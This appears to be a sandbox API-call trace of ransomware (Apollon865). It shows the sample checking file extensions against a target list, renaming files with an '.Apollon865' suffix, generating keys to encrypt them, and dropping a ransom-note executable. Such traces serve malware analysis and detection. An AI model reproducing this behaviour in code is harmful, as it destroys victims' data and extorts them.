	[0059.262] lstrlenW (lpString="accdc") returned 5
	[0059.262] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0059.262] lstrlenW (lpString="accde") returned 5
	[0059.262] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0059.262] lstrlenW (lpString="accdr") returned 5
	[0059.262] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0059.262] lstrlenW (lpString="accdt") returned 5
	[0059.262] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0059.262] lstrlenW (lpString="accdw") returned 5
	[0059.262] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0059.262] lstrlenW (lpString="accft") returned 5
	[0059.262] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0059.262] lstrlenW (lpString="adb") returned 3
	[0059.262] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.262] lstrlenW (lpString="adb") returned 3
	[0059.262] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.262] lstrlenW (lpString="ade") returned 3
	[0059.262] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0059.262] lstrlenW (lpString="adf") returned 3
	[0059.262] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0059.262] lstrlenW (lpString="adn") returned 3
	[0059.262] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0059.262] lstrlenW (lpString="adp") returned 3
	[0059.262] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0059.262] lstrlenW (lpString="alf") returned 3
	[0059.262] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0059.262] lstrlenW (lpString="ask") returned 3
	[0059.262] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0059.262] lstrlenW (lpString="btr") returned 3
	[0059.262] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0059.263] lstrlenW (lpString="cat") returned 3
	[0059.263] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0059.263] lstrlenW (lpString="cdb") returned 3
	[0059.263] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0059.263] lstrlenW (lpString="ckp") returned 3
	[0059.263] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0059.263] lstrlenW (lpString="cma") returned 3
	[0059.263] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0059.263] lstrlenW (lpString="cpd") returned 3
	[0059.263] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0059.263] lstrlenW (lpString="dacpac") returned 6
	[0059.263] lstrcmpiW (lpString1="rs.jpg", lpString2="dacpac") returned 1
	[0059.263] lstrlenW (lpString="dad") returned 3
	[0059.263] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0059.263] lstrlenW (lpString="dadiagrams") returned 10
	[0059.263] lstrlenW (lpString="daschema") returned 8
	[0059.263] lstrcmpiW (lpString1="tars.jpg", lpString2="daschema") returned 1
	[0059.263] lstrlenW (lpString="db-journal") returned 10
	[0059.263] lstrlenW (lpString="db-shm") returned 6
	[0059.263] lstrcmpiW (lpString1="rs.jpg", lpString2="db-shm") returned 1
	[0059.263] lstrlenW (lpString="db-wal") returned 6
	[0059.263] lstrcmpiW (lpString1="rs.jpg", lpString2="db-wal") returned 1
	[0059.263] lstrlenW (lpString="dbc") returned 3
	[0059.263] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0059.263] lstrlenW (lpString="dbs") returned 3
	[0059.263] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0059.263] lstrlenW (lpString="dbt") returned 3
	[0059.263] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0059.263] lstrlenW (lpString="dbv") returned 3
	[0059.263] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0059.263] lstrlenW (lpString="dbx") returned 3
	[0059.263] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0059.263] lstrlenW (lpString="dcb") returned 3
	[0059.263] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0059.264] lstrlenW (lpString="dct") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0059.264] lstrlenW (lpString="dcx") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0059.264] lstrlenW (lpString="ddl") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0059.264] lstrlenW (lpString="dlis") returned 4
	[0059.264] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0059.264] lstrlenW (lpString="dp1") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0059.264] lstrlenW (lpString="dqy") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0059.264] lstrlenW (lpString="dsk") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0059.264] lstrlenW (lpString="dsn") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0059.264] lstrlenW (lpString="dtsx") returned 4
	[0059.264] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0059.264] lstrlenW (lpString="dxl") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0059.264] lstrlenW (lpString="eco") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0059.264] lstrlenW (lpString="ecx") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0059.264] lstrlenW (lpString="edb") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0059.264] lstrlenW (lpString="epim") returned 4
	[0059.264] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0059.264] lstrlenW (lpString="fcd") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0059.264] lstrlenW (lpString="fdb") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0059.264] lstrlenW (lpString="fic") returned 3
	[0059.264] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0059.265] lstrlenW (lpString="flexolibrary") returned 12
	[0059.265] lstrlenW (lpString="fm5") returned 3
	[0059.265] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0059.265] lstrlenW (lpString="fmp") returned 3
	[0059.265] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0059.265] lstrlenW (lpString="fmp12") returned 5
	[0059.265] lstrcmpiW (lpString1="s.jpg", lpString2="fmp12") returned 1
	[0059.265] lstrlenW (lpString="fmpsl") returned 5
	[0059.265] lstrcmpiW (lpString1="s.jpg", lpString2="fmpsl") returned 1
	[0059.265] lstrlenW (lpString="fol") returned 3
	[0059.265] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0059.265] lstrlenW (lpString="fp3") returned 3
	[0059.265] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0059.265] lstrlenW (lpString="fp4") returned 3
	[0059.265] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0059.265] lstrlenW (lpString="fp5") returned 3
	[0059.265] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0059.265] lstrlenW (lpString="fp7") returned 3
	[0059.265] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0059.265] lstrlenW (lpString="fpt") returned 3
	[0059.265] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0059.265] lstrlenW (lpString="frm") returned 3
	[0059.265] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0059.265] lstrlenW (lpString="gdb") returned 3
	[0059.265] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.265] lstrlenW (lpString="gdb") returned 3
	[0059.265] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.266] lstrlenW (lpString="grdb") returned 4
	[0059.266] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0059.266] lstrlenW (lpString="gwi") returned 3
	[0059.266] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0059.266] lstrlenW (lpString="hdb") returned 3
	[0059.266] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0059.266] lstrlenW (lpString="his") returned 3
	[0059.266] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0059.266] lstrlenW (lpString="ib") returned 2
	[0059.266] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0059.266] lstrlenW (lpString="idb") returned 3
	[0059.266] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0059.266] lstrlenW (lpString="ihx") returned 3
	[0059.266] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0059.266] lstrlenW (lpString="itdb") returned 4
	[0059.266] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0059.266] lstrlenW (lpString="itw") returned 3
	[0059.266] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0059.266] lstrlenW (lpString="jet") returned 3
	[0059.266] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0059.266] lstrlenW (lpString="jtx") returned 3
	[0059.266] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0059.266] lstrlenW (lpString="kdb") returned 3
	[0059.266] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0059.266] lstrlenW (lpString="kexi") returned 4
	[0059.266] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0059.266] lstrlenW (lpString="kexic") returned 5
	[0059.266] lstrcmpiW (lpString1="s.jpg", lpString2="kexic") returned 1
	[0059.266] lstrlenW (lpString="kexis") returned 5
	[0059.266] lstrcmpiW (lpString1="s.jpg", lpString2="kexis") returned 1
	[0059.266] lstrlenW (lpString="lgc") returned 3
	[0059.266] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0059.266] lstrlenW (lpString="lwx") returned 3
	[0059.266] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0059.267] lstrlenW (lpString="maf") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0059.267] lstrlenW (lpString="maq") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0059.267] lstrlenW (lpString="mar") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0059.267] lstrlenW (lpString="marshal") returned 7
	[0059.267] lstrcmpiW (lpString1="ars.jpg", lpString2="marshal") returned -1
	[0059.267] lstrlenW (lpString="mas") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0059.267] lstrlenW (lpString="mav") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0059.267] lstrlenW (lpString="maw") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0059.267] lstrlenW (lpString="mdbhtml") returned 7
	[0059.267] lstrcmpiW (lpString1="ars.jpg", lpString2="mdbhtml") returned -1
	[0059.267] lstrlenW (lpString="mdn") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0059.267] lstrlenW (lpString="mdt") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0059.267] lstrlenW (lpString="mfd") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0059.267] lstrlenW (lpString="mpd") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0059.267] lstrlenW (lpString="mrg") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0059.267] lstrlenW (lpString="mud") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0059.267] lstrlenW (lpString="mwb") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0059.267] lstrlenW (lpString="myd") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0059.267] lstrlenW (lpString="ndf") returned 3
	[0059.267] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0059.267] lstrlenW (lpString="nnt") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0059.268] lstrlenW (lpString="nrmlib") returned 6
	[0059.268] lstrcmpiW (lpString1="rs.jpg", lpString2="nrmlib") returned 1
	[0059.268] lstrlenW (lpString="ns2") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0059.268] lstrlenW (lpString="ns3") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0059.268] lstrlenW (lpString="ns4") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0059.268] lstrlenW (lpString="nsf") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0059.268] lstrlenW (lpString="nv") returned 2
	[0059.268] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0059.268] lstrlenW (lpString="nv2") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0059.268] lstrlenW (lpString="nwdb") returned 4
	[0059.268] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0059.268] lstrlenW (lpString="nyf") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0059.268] lstrlenW (lpString="odb") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.268] lstrlenW (lpString="odb") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.268] lstrlenW (lpString="oqy") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0059.268] lstrlenW (lpString="ora") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0059.268] lstrlenW (lpString="orx") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0059.268] lstrlenW (lpString="owc") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0059.268] lstrlenW (lpString="p96") returned 3
	[0059.268] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0059.268] lstrlenW (lpString="p97") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0059.269] lstrlenW (lpString="pan") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0059.269] lstrlenW (lpString="pdb") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0059.269] lstrlenW (lpString="pdm") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0059.269] lstrlenW (lpString="pnz") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0059.269] lstrlenW (lpString="qry") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0059.269] lstrlenW (lpString="qvd") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0059.269] lstrlenW (lpString="rbf") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0059.269] lstrlenW (lpString="rctd") returned 4
	[0059.269] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0059.269] lstrlenW (lpString="rod") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0059.269] lstrlenW (lpString="rodx") returned 4
	[0059.269] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0059.269] lstrlenW (lpString="rpd") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0059.269] lstrlenW (lpString="rsd") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0059.269] lstrlenW (lpString="sas7bdat") returned 8
	[0059.269] lstrcmpiW (lpString1="tars.jpg", lpString2="sas7bdat") returned 1
	[0059.269] lstrlenW (lpString="sbf") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0059.269] lstrlenW (lpString="scx") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0059.269] lstrlenW (lpString="sdb") returned 3
	[0059.269] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0059.269] lstrlenW (lpString="sdc") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0059.270] lstrlenW (lpString="sdf") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0059.270] lstrlenW (lpString="sis") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0059.270] lstrlenW (lpString="spq") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0059.270] lstrlenW (lpString="te") returned 2
	[0059.270] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0059.270] lstrlenW (lpString="teacher") returned 7
	[0059.270] lstrcmpiW (lpString1="ars.jpg", lpString2="teacher") returned -1
	[0059.270] lstrlenW (lpString="tmd") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0059.270] lstrlenW (lpString="tps") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0059.270] lstrlenW (lpString="trc") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.270] lstrlenW (lpString="trc") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.270] lstrlenW (lpString="trm") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0059.270] lstrlenW (lpString="udb") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0059.270] lstrlenW (lpString="udl") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0059.270] lstrlenW (lpString="usr") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0059.270] lstrlenW (lpString="v12") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0059.270] lstrlenW (lpString="vis") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0059.270] lstrlenW (lpString="vpd") returned 3
	[0059.270] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0059.270] lstrlenW (lpString="vvv") returned 3
	[0059.271] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0059.271] lstrlenW (lpString="wdb") returned 3
	[0059.271] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0059.271] lstrlenW (lpString="wmdb") returned 4
	[0059.271] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0059.271] lstrlenW (lpString="wrk") returned 3
	[0059.271] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0059.271] lstrlenW (lpString="xdb") returned 3
	[0059.271] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0059.271] lstrlenW (lpString="xld") returned 3
	[0059.271] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0059.271] lstrlenW (lpString="xmlff") returned 5
	[0059.271] lstrcmpiW (lpString1="s.jpg", lpString2="xmlff") returned -1
	[0059.271] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.Apollon865") returned 85
	[0059.271] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.apollon865"), dwFlags=0x1) returned 1
	[0059.272] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.272] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=7505) returned 1
	[0059.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0059.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.272] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0059.273] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.273] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.273] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2060, lpName=0x0) returned 0x14c
	[0059.276] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2060) returned 0x100000
	[0059.277] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0059.278] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.278] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.278] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.278] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.278] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.278] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.278] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.279] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.279] CloseHandle (hObject=0x14c) returned 1
	[0059.279] CloseHandle (hObject=0x150) returned 1
	[0059.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0059.279] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6477260, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6477260, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0
	[0059.279] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0059.279] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b10
	[0059.279] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup"
	[0059.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0059.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0059.279] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 60
	[0059.279] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup"
	[0059.279] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0059.279] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0059.280] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0059.280] GetLastError () returned 0x0
	[0059.280] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0059.280] ReadFile (in: hFile=0x118, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0059.280] CloseHandle (hObject=0x118) returned 1
	[0059.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0059.280] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0059.280] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e947370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e947370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0059.281] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.281] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0059.281] lstrcmpiW (lpString1=".", lpString2=".") returned 0
